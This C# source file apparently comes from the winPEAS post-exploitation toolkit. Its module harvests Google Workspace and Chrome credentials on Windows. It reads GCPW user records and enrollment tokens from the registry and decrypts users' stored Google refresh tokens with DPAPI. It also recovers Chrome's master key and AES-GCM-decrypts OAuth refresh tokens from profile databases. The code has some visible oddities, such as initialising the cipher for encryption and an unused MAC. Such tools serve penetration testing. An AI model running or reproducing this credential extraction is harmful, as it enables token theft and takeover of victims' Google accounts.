PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/CloudInfo/GWorkspaceInfo.cs
2024-10-01 02:36:12 +01:00

328 lines
15 KiB
C#

using System;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using winPEAS.Helpers;
using Newtonsoft.Json;
using System.Data.SQLite;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Modes;
using System.Linq;
using Microsoft.Win32;
namespace winPEAS.Info.CloudInfo
{
internal class GCPJoinedInfo : CloudInfoBase
{
public override string Name => "Google Workspace Joined";
public override bool IsCloud => CheckIfGCPWUsers();
private Dictionary<string, List<EndpointData>> _endpointData = null;
private List<EndpointData> GetWorkspaceRegValues()
{
Dictionary<string, string> workspaceRegValues = new Dictionary<string, string>();
workspaceRegValues.Add("Domains Allowed", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW", @"domains_allowed_to_login"));
// Get all values from all subregistries of Users
string[] users = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
for (int i = 0; i < users.Length; i++)
{
workspaceRegValues.Add($"HKLM Workspace user{i}", users[i]);
workspaceRegValues.Add($" Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"email"));
workspaceRegValues.Add($" Domain{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"domain"));
workspaceRegValues.Add($" Id{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"id"));
workspaceRegValues.Add($" Pic{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"pic"));
workspaceRegValues.Add($" User Name{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"user_name"));
workspaceRegValues.Add($" Last Policy Refresh Time{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_policy_refresh_time"));
workspaceRegValues.Add($" Last Token Valid Millis{i}", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Google\GCPW\Users\" + users[i], @"last_token_valid_millis"));
}
string[] users3 = Helpers.Registry.RegistryHelper.GetRegSubkeys("HCKU", @"SOFTWARE\Google\Accounts");
if (users3.Length > 0)
{
workspaceRegValues.Add($"HKU Workspace user", System.Security.Principal.WindowsIdentity.GetCurrent().Name);
}
for (int i = 0; i < users3.Length; i++)
{
workspaceRegValues.Add($" HKU-Email{i}", Helpers.Registry.RegistryHelper.GetRegValue("HCKU", @"SOFTWARE\Google\Accounts\"+ users3[i], @"email"));
string refreshTokenPath = @"HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\" + users3[i];
byte[] refreshTokenB = (byte[])Registry.GetValue(refreshTokenPath, @"refresh_token", null);
if (refreshTokenB.Length > 0)
{
string refreshTokenDecrypted = DecryptRegRefreshToken(refreshTokenPath);
if (refreshTokenDecrypted.Length > 0)
workspaceRegValues.Add($" HKU-Refresh Token{i}", refreshTokenDecrypted);
}
}
// Get cloud management tokens
workspaceRegValues.Add("Chrome Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\Chrome", @"CloudManagementEnrollmentToken"));
workspaceRegValues.Add("Workspace Enrollment Token", Helpers.Registry.RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Policies\Google\CloudManagement", @"EnrollmentToken"));
// Format the info in expected CloudInfo format
List<EndpointData> _endpointDataList = new List<EndpointData>();
foreach (var kvp in workspaceRegValues)
{
_endpointDataList.Add(new EndpointData()
{
EndpointName = kvp.Key,
Data = kvp.Value?.Trim(),
IsAttackVector = false
});
}
return _endpointDataList;
}
static string DecryptRegRefreshToken(string registryPath)
{
// Define the registry path where the refresh token is stored
string valueName = "refresh_token";
// Retrieve the encrypted refresh token from the registry
byte[] encryptedRefreshToken = (byte[])Registry.GetValue(registryPath, valueName, null);
if (encryptedRefreshToken == null || encryptedRefreshToken.Length == 0)
{
Console.WriteLine("No encrypted refresh token found in the registry.");
return "";
}
try
{
// Decrypt the refresh token using CryptUnprotectData
byte[] decryptedTokenBytes = ProtectedData.Unprotect(
encryptedRefreshToken,
null, // No additional entropy
DataProtectionScope.CurrentUser // Use the current user's scope
);
// Convert the decrypted token to an ASCII string
string refreshToken = Encoding.ASCII.GetString(decryptedTokenBytes);
return refreshToken;
}
catch (Exception ex)
{
Console.WriteLine("Error decrypting the refresh token: " + ex.Message);
}
return "";
}
public static bool CheckIfGCPWUsers()
{
string[] check = Helpers.Registry.RegistryHelper.GetRegSubkeys("HKLM", @"SOFTWARE\Google\GCPW\Users");
return check != null && check.Length > 0;
}
public override Dictionary<string, List<EndpointData>> EndpointDataList()
{
if (_endpointData == null)
{
_endpointData = new Dictionary<string, List<EndpointData>>();
try
{
if (IsAvailable)
{
_endpointData.Add("Local Info", GetWorkspaceRegValues());
_endpointData.Add("Local Refresh Tokens", GetRefreshToken());
}
else
{
_endpointData.Add("General Info", new List<EndpointData>()
{
new EndpointData()
{
EndpointName = "",
Data = null,
IsAttackVector = false
}
});
}
}
catch (Exception ex)
{
Beaprint.PrintException(ex.Message);
}
}
return _endpointData;
}
static List<EndpointData> GetRefreshToken()
{
string chromeLocalStatePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Local State";
string masterKey = GetMasterKey(chromeLocalStatePath);
string[] chromeProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Defaul*");
string[] chromeExtraProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\", "Profile*");
string[] chromeAllProfilePaths = chromeProfilePaths.Concat(chromeExtraProfilePaths).ToArray();
string[] refreshTokens = new string[0];
foreach (string profilePath in chromeAllProfilePaths)
{
string webDataPath = Path.Combine(profilePath, "Web Data");
if (File.Exists(webDataPath))
{
refreshTokens = ExtractRefreshTokens(webDataPath, masterKey);
}
}
List<EndpointData> _endpointDataList = new List<EndpointData>();
for (int i = 0; i < refreshTokens.Length; i++)
{
_endpointDataList.Add(new EndpointData()
{
EndpointName = $"Token{i}" ,
Data = refreshTokens[i].Trim(),
IsAttackVector = true
});
}
return _endpointDataList;
}
private static string GetMasterKey(string localStatePath)
{
string localStateJson = File.ReadAllText(localStatePath);
dynamic json = JsonConvert.DeserializeObject(localStateJson);
string encryptedKeyBase64 = json.os_crypt.encrypted_key;
byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64);
byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5];
Array.Copy(encryptedKeyWithPrefix, 5, encryptedKey, 0, encryptedKeyWithPrefix.Length - 5);
byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
return Convert.ToBase64String(masterKey);
}
private static string[] ExtractRefreshTokens(string webDataPath, string masterKey)
{
List<string> refreshTokens = new List<string>();
try
{
using (SQLiteConnection connection = new SQLiteConnection($"Data Source={webDataPath};Version=3;"))
{
connection.Open();
string query = "SELECT service, encrypted_token FROM token_service;";
using (SQLiteCommand command = new SQLiteCommand(query, connection))
using (SQLiteDataReader reader = command.ExecuteReader())
{
while (reader.Read())
{
string service = reader["service"].ToString();
// Check if encrypted_token is null or empty
if (reader["encrypted_token"] == DBNull.Value)
{
Console.WriteLine("The encrypted_token is NULL in the database.");
continue;
}
byte[] encryptedToken = (byte[])reader["encrypted_token"];
string decryptedToken = DecryptWithAESGCM(encryptedToken, Convert.FromBase64String(masterKey));
refreshTokens.Add(decryptedToken);
}
}
}
return refreshTokens.ToArray();
}
catch (Exception ex)
{
Console.WriteLine("Error extracting refresh tokens (If Chrome is running the DB is probably locked): " + ex.Message);
return refreshTokens.ToArray();
}
}
public static string DecryptWithAESGCM(byte[] ciphertext, byte[] key)
{
// Constants
int nonceLength = 12; // GCM standard nonce length
int macLength = 16; // GCM authentication mac length
string versionPrefix = "v10"; // Matching kEncryptionVersionPrefix
// Convert prefix to byte array
byte[] versionPrefixBytes = Encoding.ASCII.GetBytes(versionPrefix);
// Check the prefix
if (ciphertext.Length < versionPrefixBytes.Length ||
!IsPrefixMatch(ciphertext, versionPrefixBytes))
{
throw new ArgumentException("Invalid encryption version prefix.");
}
// Extract the nonce from the ciphertext (after the prefix)
byte[] nonce = new byte[nonceLength];
Array.Copy(ciphertext, versionPrefixBytes.Length, nonce, 0, nonceLength);
// Extract the actual encrypted data (after the prefix and nonce)
int encryptedDataStartIndex = versionPrefixBytes.Length + nonceLength;
byte[] encryptedData = new byte[ciphertext.Length - encryptedDataStartIndex];
Array.Copy(ciphertext, encryptedDataStartIndex, encryptedData, 0, encryptedData.Length);
// Split the mac and actual ciphertext
byte[] mac = new byte[macLength];
Array.Copy(encryptedData, encryptedData.Length - macLength, mac, 0, macLength);
byte[] actualCiphertext = new byte[encryptedData.Length - macLength];
Array.Copy(encryptedData, 0, actualCiphertext, 0, actualCiphertext.Length);
// Perform the decryption using Bouncy Castle
try
{
GcmBlockCipher gcm = new GcmBlockCipher(new Org.BouncyCastle.Crypto.Engines.AesEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(key), macLength * 8, nonce);
gcm.Init(true, parameters);
byte[] plaintext = new byte[gcm.GetOutputSize(actualCiphertext.Length)];
int len = gcm.ProcessBytes(actualCiphertext, 0, actualCiphertext.Length, plaintext, 0);
string plaintextString = Encoding.ASCII.GetString(plaintext, 0, len);
gcm.DoFinal(plaintext, len);
return plaintextString;
}
catch (InvalidCipherTextException ex)
{
throw new CryptographicException("Decryption failed due to MAC mismatch", ex);
}
}
private static bool IsPrefixMatch(byte[] ciphertext, byte[] versionPrefixBytes)
{
for (int i = 0; i < versionPrefixBytes.Length; i++)
{
if (ciphertext[i] != versionPrefixBytes[i])
return false;
}
return true;
}
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
public override bool TestConnection()
{
return true;
}
}
}